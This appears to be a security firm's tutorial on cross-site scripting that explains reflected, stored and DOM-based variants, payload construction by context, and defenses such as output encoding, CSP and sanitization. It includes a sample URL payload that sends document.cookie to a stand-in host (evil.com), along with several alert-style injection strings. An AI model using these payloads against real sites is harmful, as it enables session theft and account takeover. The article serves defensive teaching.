Cross-Site Scripting (XSS): How It Works and How to Prevent It
Cross-site scripting has persisted as one of the most common web application vulnerabilities for over two decades. Despite modern frameworks offering built-in protections, XSS continues to appear in security assessments with remarkable frequency. It ranked third in the OWASP Top 10 under the Injection category, and remains a staple finding in penetration tests across industries.
At its core, XSS is simple: an attacker gets a web application to include untrusted data in a page without proper validation or encoding, causing the victim's browser to execute malicious scripts. The consequences range from session hijacking and credential theft to complete account takeover.
What Is Cross-Site Scripting?
Cross-site scripting occurs when an application includes untrusted data in its output without appropriate encoding or sanitization. When a browser renders that output, it cannot distinguish between the application's legitimate scripts and the attacker's injected code. The malicious script executes with the same privileges as the application itself, granting access to cookies, session tokens, and the DOM.
The fundamental problem is one of context confusion. The browser interprets everything in a page as part of the trusted application. If an attacker can inject content that the browser interprets as executable code, the boundary between data and instructions breaks down.
The Three Types of XSS
Reflected XSS
Reflected XSS is the most commonly encountered variant. The malicious payload is part of the request — typically embedded in a URL parameter, form field, or HTTP header — and the server reflects it back in the response without sanitization.
Consider a search feature that displays the user's query on the results page:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
If the server includes the q parameter directly in the HTML response, the browser executes the script. The attacker needs the victim to click the crafted link, which is often delivered through phishing emails or malicious advertisements.
Reflected XSS requires social engineering to exploit at scale, but it remains dangerous because the payload executes within the origin of the vulnerable application, inheriting all of its permissions.
Stored XSS
Stored XSS is significantly more dangerous because the payload is persisted on the server. Any user who views the affected content triggers the exploit without any additional interaction. Common injection points include:
- User profile fields (display names, biographies)
- Comments and forum posts
- Product reviews
- Support ticket messages
- File metadata (uploaded filenames, EXIF data)
In one assessment, a tester discovered that a healthcare platform's messaging system did not sanitize message content before rendering. By sending a message containing a script payload, every clinician who opened the conversation unknowingly executed code that exfiltrated their session token. The attacker could then impersonate medical staff and access patient records. The vulnerability persisted for months because the malicious message remained in the database, re-triggering on every page view.
DOM-Based XSS
DOM-based XSS differs from the other two variants because the server never processes the malicious payload. Instead, client-side JavaScript reads from an attacker-controllable source (such as location.hash, document.referrer, or postMessage data) and writes it to a dangerous sink (such as innerHTML, eval, or document.write).
// Vulnerable code
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;An attacker sends the victim a link with ?name=<img src=x onerror=alert(document.cookie)>. The server returns the same static page it always does, but the client-side code injects the payload into the DOM. This makes DOM-based XSS particularly difficult to detect with server-side security tools because the payload never appears in server logs.
Real-World Impact
Session Hijacking at Scale
During a security assessment of a large e-commerce platform, testers found a stored XSS vulnerability in the product review section. The application allowed limited HTML formatting in reviews but failed to sanitize event handler attributes. A review containing <img src=x onerror="..."> executed JavaScript for every customer who viewed the product page.
The proof of concept demonstrated that an attacker could silently harvest session tokens from thousands of users per day. With those tokens, the attacker could access accounts, view saved payment methods, change shipping addresses, and place fraudulent orders — all without knowing a single password.
Account Takeover via DOM Manipulation
A financial services application used a reflected XSS vulnerability in its account settings page. The tester crafted a payload that, when triggered, silently changed the victim's email address and initiated a password reset. The entire attack chain — from clicking a link to losing account access — completed in under three seconds with no visible indication to the user.
Worm Propagation
One of the most dramatic XSS consequences is self-propagating payloads. A social networking platform's stored XSS vulnerability in user profile fields allowed a payload that, when viewed, automatically copied itself to the viewer's profile. Within hours, millions of profiles were modified. While the original payload was benign (it simply added text to profiles), the same mechanism could have been used to exfiltrate data or distribute malware.
How XSS Attacks Are Constructed
Attackers craft XSS payloads based on the injection context. The same data might be harmless in one context and devastating in another.
HTML context: Injecting into the body of an HTML element requires breaking out of text and introducing a new tag or attribute.
<!-- Injection into element content -->
<p>Hello, <script>alert(1)</script></p>
<!-- Injection into an attribute -->
<input value=""><script>alert(1)</script><input value="">JavaScript context: If user input is placed inside a JavaScript string, the attacker terminates the string and injects code.
var username = ""; alert(1); //";URL context: Injecting into href or src attributes can use the javascript: protocol.
<a href="javascript:alert(1)">Click here</a>CSS context: While less common, injection into style attributes or stylesheets can execute code in older browsers and exfiltrate data in modern ones using techniques like CSS injection for data extraction.
Attackers regularly bypass naive filters by using encoding tricks, case variations, event handlers on unexpected elements, and SVG or MathML elements that have their own parsing rules.
Prevention Strategies
Output Encoding (The Primary Defense)
The most effective defense against XSS is context-aware output encoding. Every time untrusted data is placed into a page, it must be encoded for the specific context:
- HTML context: Encode
<,>,&,", and'as their HTML entities - JavaScript context: Use
\xHHor\uHHHHencoding for all non-alphanumeric characters - URL context: Use percent-encoding for parameter values
- CSS context: Use
\HHCSS hex encoding
Modern template engines perform HTML encoding by default. In React, JSX auto-escapes all values. In Angular, interpolation binding sanitizes by default. The danger comes from explicitly bypassing these protections:
// DANGEROUS - bypasses React's auto-escaping
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// SAFE - React escapes this automatically
<div>{userInput}</div>Content Security Policy (CSP)
CSP is a powerful defense-in-depth mechanism. A well-configured CSP header tells the browser exactly which script sources are permitted:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'
Key CSP directives for XSS prevention:
script-src 'self'— Only allow scripts from your own originscript-src 'nonce-...'— Only allow scripts with a specific server-generated noncescript-src 'strict-dynamic'— Allow scripts loaded by trusted scripts (useful for complex applications)- Remove
'unsafe-inline'— This single directive eliminates the vast majority of XSS payloads - Remove
'unsafe-eval'— Preventseval(),Function(), and similar dynamic code execution
A strict nonce-based CSP is the gold standard. Each page load generates a unique nonce that is included in the CSP header and on each legitimate script tag. Injected scripts will not have the correct nonce and will be blocked.
Input Sanitization
When you must accept rich content (such as allowing users to write formatted text), use a proven HTML sanitization library. DOMPurify is the standard choice for client-side sanitization. On the server side, libraries like Bleach (Python) or sanitize-html (Node.js) strip dangerous elements and attributes while preserving safe formatting.
The critical rule: sanitize on output, not just on input. Data might be safe when stored but dangerous when placed into a different context. A username that is safe in HTML might be dangerous when injected into a JavaScript string.
Additional Defenses
HTTPOnly cookies: Set the HttpOnly flag on session cookies so JavaScript cannot access them via document.cookie. This does not prevent XSS but significantly limits its impact.
Subresource Integrity (SRI): When loading scripts from CDNs, use integrity hashes to ensure the content has not been tampered with.
Trusted Types: A browser feature that enforces type checking on dangerous DOM sinks. When enabled, functions like innerHTML require a TrustedHTML object rather than a plain string, preventing accidental injection.
X-Content-Type-Options: nosniff: Prevents browsers from MIME-sniffing responses, which can prevent script execution from responses with incorrect content types.
Testing for XSS
Effective XSS testing requires checking every point where user input appears in the rendered page:
- Identify injection points — Every URL parameter, form field, HTTP header, and data source that appears in the response
- Determine the output context — Is the data in HTML body, an attribute, JavaScript, CSS, or a URL?
- Craft context-appropriate payloads — A payload that works in HTML body will not work inside a JavaScript string
- Test filter bypasses — Try encoding variations, alternative tags, event handlers, and protocol handlers
- Verify CSP enforcement — Even if injection succeeds, a strict CSP should block execution
Automated scanners catch the obvious cases, but manual testing is essential for DOM-based XSS and complex filter bypass scenarios.
Key Takeaways
Cross-site scripting persists because the web's fundamental model — mixing data and code in HTML documents — makes it inherently easy to introduce and difficult to eliminate completely. Defense requires a layered approach:
- Use a modern framework with auto-escaping and avoid bypassing it
- Apply context-aware output encoding everywhere untrusted data appears
- Deploy a strict Content Security Policy with nonce-based script sources
- Sanitize rich content with a proven library
- Set HttpOnly and Secure flags on all session cookies
- Regularly test all input vectors, especially after adding new features
XSS vulnerabilities are not merely theoretical. They lead to mass account compromise, data theft, and regulatory consequences. The defenses are well-understood — the challenge is applying them consistently across every output context in every page of an application.
Need your application tested for cross-site scripting? Get in touch.